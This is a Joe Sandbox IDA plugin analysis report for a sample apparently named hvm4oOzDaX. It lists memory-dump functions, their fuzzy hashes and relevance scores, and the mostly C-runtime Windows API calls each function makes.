Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 96e02adebae30f45631e36f17cd4e2790953f2bb6f2a3d0f583c6d7f4dfadc9d
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: EF51BF727012029FEBA99F55DC40BBAF7A7EF44314F14412DEA0946290E73BF985D790

Function 0040AE84 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AF4B
___AdjustPointer.LIBCMT ref: 0040AF6E
___AdjustPointer.LIBCMT ref: 0040B00A

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 88ef4a02ba2930d6a04adc46f9a2f5105df9e51eba4518f207ac4bbffbfe15f9
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: E151D1B1600303AFDB299F15D841BABB3A4EF44314F14413FE801A76D2E739AC65D79A

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04B5B0EB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B5B1B2
___AdjustPointer.LIBCMT ref: 04B5B1D5
___AdjustPointer.LIBCMT ref: 04B5B271

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: f0f91e21489dd2b3f5d61b396b93867de32033a5c1fb75f05031b5ab79b51d22
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: FA51B472A086069FEB29AF11E881B7AF7A4FF04714F1441ADDC05976B0E732B951CB60

Function 00415A49 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040FC08: _free.LIBCMT ref: 0040FC16

Part of subcall function 004134F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,0041384C,?,00000000,00000000), ref: 00413599

GetLastError.KERNEL32 ref: 00415AB1
__dosmaperr.LIBCMT ref: 00415AB8
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00415AF7
__dosmaperr.LIBCMT ref: 00415AFE

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction ID: 3f7c4113f524ad2c0abd5e3f91609bb3d7c3a41f61a1f3e5b12bbd4c913db815
Opcode Fuzzy Hash: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction Fuzzy Hash: 5221D871604615EFDB20AF66DCC19EBB76CEF443A8710862BF82497291D73CED8187A4

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 100081F0: _free.LIBCMT ref: 100081FE

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: b7af9aa25762b68c67a19e1abcb47a9b758bf4775fc138b5a0a35b694754267d
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: b7af9aa25762b68c67a19e1abcb47a9b758bf4775fc138b5a0a35b694754267d
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 04B65CB0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 04B5FE6F: _free.LIBCMT ref: 04B5FE7D

Part of subcall function 04B6375E: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B688CA,?,?,?,00000000,?,04B68639,0000FDE9,00000000,?), ref: 04B63800

GetLastError.KERNEL32 ref: 04B65D18
__dosmaperr.LIBCMT ref: 04B65D1F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 04B65D5E
__dosmaperr.LIBCMT ref: 04B65D65

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction ID: 234737ca5651d27d88351972188bb9b8350f9b42a595980b5a78a802e0359265
Opcode Fuzzy Hash: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction Fuzzy Hash: B2210A71600609BFEB30AF65EC84E6BB7ADFF402687108598F82B97190E734FC5197A0

Function 04B61DB1 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: 10e501a6326293b87989ebfde8b0c7f65731c8e05e915298dfd041b8bb7db764
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 8D21BB71F01221ABD7318B6C9C84B5E7768EF457A4F154DA1ED17A7290EA38FD00C6E4

Function 004111FD Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401ED8,?,00401EDC,0040C3A9,?,00401ED8,7622DF80,?,004114AD,00000000,7622DF80,00000000,00000000,00401ED8), ref: 00411202
_free.LIBCMT ref: 0041125F
_free.LIBCMT ref: 00411295
SetLastError.KERNEL32(00000000,00000008,000000FF,?,004114AD,00000000,7622DF80,00000000,00000000,00401ED8), ref: 004112A0

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction ID: cded345c8d5c530dafeb31fb37215a8dc2974a232bbf80fd36b18c5a372c037c
Opcode Fuzzy Hash: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction Fuzzy Hash: 8011A7327005002A965127B57C86EFB26698BC57B8B64037BFB15E22F1EA3D8C92411D

Function 10006E9C Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,100059DF,?,10001F4F,00000000), ref: 10006EA1
_free.LIBCMT ref: 10006EFE
_free.LIBCMT ref: 10006F34
SetLastError.KERNEL32(00000000,0000000B,000000FF,?,?,00000000,100059DF,?,10001F4F,00000000), ref: 10006F3F

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 72c61705ed6df8d98b2a0eedb55838999870745f68928b586d93f1ef3c7b0de2
Instruction ID: 52538b18816049bcedc1269911990ba1ec418b01f35f7c97631a1a3369067357
Opcode Fuzzy Hash: 72c61705ed6df8d98b2a0eedb55838999870745f68928b586d93f1ef3c7b0de2
Instruction Fuzzy Hash: BE11E33AA006566AF242D674DC81E6F328BEBC92F57310134F528921D9DE74DE094631

Function 04B61464 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(04B5213F,?,04B52143,04B5C610,?,04B5213F,0041D0A0,?,04B61714,00000000,0041D0A0,00000000,00000000,04B5213F), ref: 04B61469
_free.LIBCMT ref: 04B614C6
_free.LIBCMT ref: 04B614FC
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B61714,00000000,0041D0A0,00000000,00000000,04B5213F), ref: 04B61507

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction ID: ac2e866c640517f47925a112d1fe9811a7f048fae99d2439ae5fcbaa023ac5ce
Opcode Fuzzy Hash: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction Fuzzy Hash: 6B11C2327002042BF6213ABDAC89D3A265ADBC1379B6446F4FA27971E0EF2DAC129515

Function 00411354 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C33E,004124E1,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?), ref: 00411359
_free.LIBCMT ref: 004113B6
_free.LIBCMT ref: 004113EC
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004113F7

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction ID: 755f6b258ceaa8e65099160f8bc9def63f750f9b951ab46e134be7d7a93c0062
Opcode Fuzzy Hash: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction Fuzzy Hash: AD11CA317005042BA611277A6C82EEB16598BC13B8B64033BFF24821F1EA2D8C92411D

Function 10006FF3 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,1000592B,10007A62,?,?,100066F0), ref: 10006FF8
_free.LIBCMT ref: 10007055
_free.LIBCMT ref: 1000708B
SetLastError.KERNEL32(00000000,0000000B,000000FF,?,?,1000592B,10007A62,?,?,100066F0), ref: 10007096

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cb1c894d2cda448839c8e2a8665fbefda6a0446c15ff34be0ccd710a5c402308
Instruction ID: 7e0a2054198a3f627b51ebbd791d94cb99ce3d76a099f8cfcb9b0e2a4681bd24
Opcode Fuzzy Hash: cb1c894d2cda448839c8e2a8665fbefda6a0446c15ff34be0ccd710a5c402308
Instruction Fuzzy Hash: B8110236E00514AAF352C6748CC5E6F328AFBC92F17210724F52C921EADE79DE048631

Function 04B615BB Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,04B5C5A5,04B62748,?,?,04B5A3C2,?,?,?,04B51353,?,04B5370E,?,?), ref: 04B615C0
_free.LIBCMT ref: 04B6161D
_free.LIBCMT ref: 04B61653
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B5A3C2,?,?,?,04B51353,?,04B5370E,?,?,?), ref: 04B6165E

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction ID: 74e6d6586d59cf540c062be9ddf1d1c3793cff97aad6a84319b88144a8058078
Opcode Fuzzy Hash: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction Fuzzy Hash: C0110836B002003BF72266BDAC85D3A325ADBC1378F6403F5F527961E0DF6DAC115115

Function 04B5C07E Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,04B5C13F,?,?,0042B000,00000000,?,04B5C26A,00000004,0041EAFC,0041EAF4,0041EAFC,00000000), ref: 04B5C10E

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: 898653dc82727d8dd82b85a0411300cbdfee08f486e8e4b98f034cdf5c12c683
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: C811A731E41321ABDB225B789C45B9DBB75EF057A0F1541A1FE11B72A0D670F90086D9

Function 04CFA1A4 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04CFA1C0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04CFA1D9

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: d0d2b0819cf24f656b98bf94b3291f4e2d55ba1f49ccb1cd89c4ba89ab8a555c
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6401243A3092119FB7A42FB4BC849666B9AEB05678730023AEB18950E0FF1F7D126145

Function 0041AE22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000), ref: 0041AE39
GetLastError.KERNEL32(?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000,?,004185FC,00000000), ref: 0041AE45

Part of subcall function 0041AE0B: CloseHandle.KERNEL32(FFFFFFFE,0041AE55,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000), ref: 0041AE1B

___initconout.LIBCMT ref: 0041AE55

Part of subcall function 0041ADCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041ADFC,0041AABC,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041ADE0

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041AE6A

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: ee4a97f4c5e0560d025622a6e285d837d398bf1ce1ecb10de8e4d9e98fca97b7
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: 26F0F836942214BBCF222F929C049CA3F26EF087A5F054025FA0985130C63689B19B9A

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000002.00000002.3247093881.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.3247074180.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247118164.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3247139144.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_hvm4oOzDaX.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 04B6B089 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000), ref: 04B6B0A0
GetLastError.KERNEL32(?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000,00000000,00000000,?,04B68863,?), ref: 04B6B0AC

Part of subcall function 04B6B072: CloseHandle.KERNEL32(0042A930,04B6B0BC,?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000,00000000,00000000), ref: 04B6B082

___initconout.LIBCMT ref: 04B6B0BC

Part of subcall function 04B6B034: CreateFileW.KERNEL32(004265E8,40000000,00000003,00000000,00000003,00000000,00000000,04B6B063,04B6AD23,00000000,?,04B6830F,00000000,00000000,00000000,00000000), ref: 04B6B047

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000,00000000), ref: 04B6B0D1

Memory Dump Source

Source File: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4b50000_hvm4oOzDaX.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: 712831ebce8c7416a1db468e1cb6416e1177e5f1823a03889bfcc03e9bee3872
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: 9FF03036901124BBCF226FA1DC089D97F36FF086A4F054460FE1ED6130C636A961DB95

Function 004091F8 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409195,00000064), ref: 0040921B
RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409225
WaitForSingleObjectEx.KERNEL32(0040104A,00000000,?,00409195,00000064,?,?,?,0040104A,0042BB40), ref: 00409236
RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040923D

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction ID: 40c2fce60939aafa0776eae2e2369d18d4b8ec69fabe1ce25dfd7c9304a85116
Opcode Fuzzy Hash: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction Fuzzy Hash: 67E092B1B40234BBCB112B90FE08ACD7F24EB0CB51B458072FD0666161C77D09228BDE

Function 04CFFE46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04CFFE4F
_free.LIBCMT ref: 04CFFE62
_free.LIBCMT ref: 04CFFE73
_free.LIBCMT ref: 04CFFE84

Memory Dump Source

Source File: 00000002.00000003.2667403127.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4cf0000_hvm4oOzDaX.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 12f4833f8b8a1d31d6e10bc5345a735741ec32fe814f549f0ad83bf325a8db3d
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: CBE0EC71B13320AA97336F14BD40A4AFF61EBD4B143C5803AE50023271C77629539BDE

Function 00410A46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410A4F

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00410A62
_free.LIBCMT ref: 00410A73
_free.LIBCMT ref: 00410A84

Memory Dump Source

Source File: 00000002.00000002.3242195234.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3242195234.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_hvm4oOzDaX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction ID: 4f604ca58aada12d27b251242fa97a7c83cac521b99ee6611507b97af23f288b
Opcode Fuzzy Hash: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction Fuzzy Hash: 46E0EC71B13360AA8632AF15BD41589FFA1EFD4B543C9003BF50812631D73909939BCE

Function 100067E8 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 100067F1

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

